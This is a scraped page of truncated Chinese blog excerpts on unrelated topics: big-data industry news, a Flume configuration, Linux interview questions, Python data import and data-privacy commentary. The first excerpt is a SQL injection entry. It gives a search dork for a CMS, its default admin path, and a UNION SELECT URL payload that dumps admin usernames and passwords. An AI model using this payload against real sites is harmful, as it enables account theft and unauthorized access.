漏洞影响版本 v10.0 v11.0 关键字:inurl:”HomeMarket.asp” 默认后台:/admin 直接爆用户密码: http://www.xxx.com/NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%…

2019年5月27日,首席数据官联盟在贵阳举办的2019中国国际大数据产业博览会上正式发布了<中国大数据企业排行榜V6.0>   本次排行榜新增8个垂直行业和领域.上榜企业是从全国五千多家大数据企业优中选优评选出来的佼佼者,较客观地代表了目前中国大数据企业的发展水平和实力,并为中国大数据产业的发展做出了积极的贡献.…

最近在看API相关的案例,做的是.net开发的工作 对API开发这块很是迷茫,不知道从哪入手,园子里面的朋友有没有研究这块的给点建议 公司目前准备做一款企业数据查询的网站,让我负责API接口这块,基于http协议下的,毫无头绪…

上午: 介绍: 海量的乱七八糟的数据中快速的计算出某些有用的信息 刑侦视频追踪 云栖大会 大数据分析/挖掘 ==>  python  <== 重点关注 大数据运维   ==> 运服务的基础    ==>   还是python 数据分析师 ==>  Hadoop 编程语言的企业需求:JAVA   Python(易学  应用广)…

企业中的日志存放_1 201611/20161112.log.tmp 第二天文件变为20161112.log与20161113.log.tmp 拷贝一份flume-conf.properties.template改名为dir-mem-hdfs.properties 实现监控某一目录,如有新文件产生则上传至hdfs,另外过滤掉新文件中tmp文件 dir-mem-hdfs.properties a1.sources = s1 a1.channels = c1 a1.sinks = k1 # defi…

http://www.36dsj.com/archives/33417 鲍忠铁:大家下午好! 今天我会讲三个议题,一是用18亿数据解读现在移动互联网的生态圈.二是看看数据有什么样的应用.三是大数据的隐私保护问题. 我们的数据提及了三次,我们移动互联网的设备是12.4亿,去年年底的时候是10.6亿,半年的时间增加1.8亿.参考中国人口的比例,15-60岁移动互联网分布用户中9亿,跟后台拿到的所有移动互联网的手机设备数字很相近,大概9亿.平均下来,从中国移动互联网中心拿到的数据,智能手机用户为6.7…

进入21世纪后,互联网开始大规模普及,线上业务和线上服务也开始逐渐走入人们的生活.尤其在智能手机和移动互联网诞生以后,人们对网络的依赖更是与日俱增.然而,伴随而来的则是涉及个人隐私的信息安全问题.个人一旦与网络接触,难免存在信息泄露的风险. 近年来,数据泄露事件频发,造成的直接损失.间接损失以及社会影响都非常严重.2018年初"Facebook数据泄露事件"再次引发全球范围内关注.据悉,此次信息泄露是Facebook自创建以来最大的用户数据泄露事件之一,而Facebook不仅要吞下&q…

1:只查看test.txt (100行)文件中第20行到30行的数据(企业常见面试题) 答: seq (序列) 第一种方法:head -30 test1.txt | tail -11 第二种方法:sed -n '20,30p' test1.txt 第三种方法:awk '19<NR&&NR<31'  test1.txt 第四种方法:grep 20  -A 10 test1.txt…

历史与趋势 大数据的前世今生:诞生.发展.未来? 如何利用数据赚钱?大数据价值变现的10种商业模式及利弊分析 10大行业大数据应用痛点及解决策略 大数据凉了?不,流式计算浪潮才刚刚开始 概念与定义 关于大数据最常见的10个问题 写给大数据开发初学者的话 常用大数据术语一览表 框架与平台 一文读懂大数据计算框架与平台 大数据框架对比:Hadoop.Storm.Samza.Spark和Flink 大数据处理框架的类型.比较和选择 大数据平台架构技术选型与场景运用 大数据平台核心技术全解析 Hadoo…

  不论是数据分析,数据可视化,还是数据挖掘,一切的一切全都是以数据作为最基础的元素.利用Python进行数据分析,同样最重要的一步就是如何将数据导入到Python中,然后才可以实现后面的数据分析.数据可视化.数据挖掘等. 在本期的Python学习中,我们将针对Python如何获取外部数据做一个详细的介绍,从中我们将会学习以下4个方面的数据获取: 1.读取文本文件的数据,如txt文件和csv文件 2.读取电子表格文件,如Excel文件 3.读取统计软件生成的数据文件,如SAS数据集.SPSS数据…